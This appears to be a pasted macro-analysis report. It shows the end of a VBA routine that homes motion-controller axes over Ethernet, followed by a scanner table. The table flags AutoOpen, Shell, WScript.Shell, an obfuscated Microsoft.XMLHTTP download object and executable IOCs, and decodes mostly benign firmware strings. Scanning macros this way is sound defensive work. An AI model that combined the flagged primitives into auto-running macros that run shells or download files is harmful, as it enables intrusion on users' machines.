  915.  Call EthernetSen.dReceive("HY+2", strData)
  916.  If (strData <> "OK") Then
  917.  MsgBox (strData)
  918.  End If
  919.  End If
  920.  ElseIf i = 3 Then
  921.  If (SelectZ.Value = 1) Then
  922.  Call EthernetSen.dReceive("HZ+2", strData)
  923.  If (strData <> "OK") Then
  924.  MsgBox (strData)
  925.  End If
  926.  End If
  927.  ElseIf i = 4 Then
  928.  If (SelectU.Value = 1) Then
  929.  Call EthernetSen.dReceive("HU+2", strData)
  930.  If (strData <> "OK") Then
  931.  MsgBox (strData)
  932.  End If
  933.  End If
  934.  End If
  935.  Next i
  936. End Sub
  937.  
  938.  
  939.  
  940. +------------+----------------------+-----------------------------------------+
  941. | Type       | Keyword              | Description                             |
  942. +------------+----------------------+-----------------------------------------+
  943. | AutoExec   | AutoOpen             | Runs when the Word document is opened   |
  944. | Suspicious | Open                 | May open a file                         |
  945. | Suspicious | Shell                | May run an executable file or a system  |
  946. |            |                      | command                                 |
  947. | Suspicious | WScript.Shell        | May run an executable file or a system  |
  948. |            |                      | command                                 |
  949. | Suspicious | Shell.Application    | May run an application (if combined     |
  950. |            |                      | with CreateObject)                      |
  951. | Suspicious | CreateObject         | May create an OLE object                |
  952. | Suspicious | Chr                  | May attempt to obfuscate specific       |
  953. |            |                      | strings                                 |
  954. | Suspicious | ADODB.Stream         | May create a text file                  |
  955. | Suspicious | SaveToFile           | May create a text file                  |
  956. | Suspicious | Write                | May write to a file (if combined with   |
  957. |            |                      | Open)                                   |
  958. | Suspicious | Output               | May write to a file (if combined with   |
  959. |            |                      | Open)                                   |
  960. | Suspicious | Print #              | May write to a file (if combined with   |
  961. |            |                      | Open)                                   |
  962. | Suspicious | Microsoft.XMLHTTP    | May download files from the Internet    |
  963. |            |                      | (obfuscation: VBA expression)           |
  964. | Suspicious | Base64 Strings       | Base64-encoded strings were detected,   |
  965. |            |                      | may be used to obfuscate strings        |
  966. |            |                      | (option --decode to see all)            |
  967. | Suspicious | VBA obfuscated       | VBA string expressions were detected,   |
  968. |            | Strings              | may be used to obfuscate strings        |
  969. |            |                      | (option --decode to see all)            |
  970. | IOC        | SA_Download_Upload.e | Executable file name                    |
  971. |            | xe                   |                                         |
  972. | IOC        | SA_Compile_Decompile | Executable file name                    |
  973. |            | .exe                 |                                         |
  974. | VBA string |
  975.  
  976.                    | Chr(13) + Chr(13)                       |
  977. | VBA string | The following GUI    | "The following GUI features are not     |
  978. |            | features are not     | supported by this firmware:" + Chr(13)  |
  979. |            | supported by this    |                                         |
  980. |            | firmware:            |                                         |
  981. | VBA string |   - Digital input    | Chr(13) + " - Digital input polarity"   |
  982. |            | polarity             |                                         |
  983. | VBA string |   - Digital output   | Chr(13) + " - Digital output polarity"  |
  984. |            | polarity             |                                         |
  985. | VBA string |   - Enable output    | Chr(13) + " - Enable output polarity"   |
  986. |            | polarity             |                                         |
  987. | VBA string |   - Standalone error | Chr(13) + " - Standalone error          |
  988. |            | polarity             | polarity"                               |
  989. | VBA string |   - Low speed homing | Chr(13) + " - Low speed homing routine" |
  990. |            | routine              |                                         |
  991. | VBA string |   - Deceleration     | Chr(13) + " - Deceleration option for   |
  992. |            | option for linear    | linear motion"                          |
  993. |            | motion               |                                         |
  994. | VBA string |   - Acceleration/dec | Chr(13) + " - Acceleration/deceleration |
  995. |            | eleration for        | for circular interpolation"             |
  996. |            | circular             |                                         |
  997. |            | interpolation        |                                         |
  998. | VBA string |   - On-the-fly       | Chr(13) + " - On-the-fly position       |
  999. |            | position change      | change"                                 |
  1000. | VBA string |   - Multi-threading  | Chr(13) + " - Multi-threading           |
  1001. |            | capabilities for     | capabilities for standalone"            |
  1002. |            | standalone           |                                         |
  1003. | VBA string |   - Digital output   | Chr(13) + " - Digital output            |
  1004. |            | configuration on     | configuration on boot-up"               |
  1005. |            | boot-up              |                                         |
  1006. | VBA string |   - Enable output    | Chr(13) + " - Enable output             |
  1007. |            | configuration on     | configuration on boot-up"               |
  1008. |            | boot-up              |                                         |
  1009. | VBA string | \coloc               | "\" + "coloc"                           |
  1010. | VBA string |
  1011.                     | Chr(13) + Chr(10)                       |
  1012. |            |                      |                                         |
  1013. | VBA string | Microsoft.XMLHTTP    | ("Microsoft" + ".XMLHTTP")              |
  1014. +------------+----------------------+-----------------------------------------+
Add Comment
Please, Sign In to add comment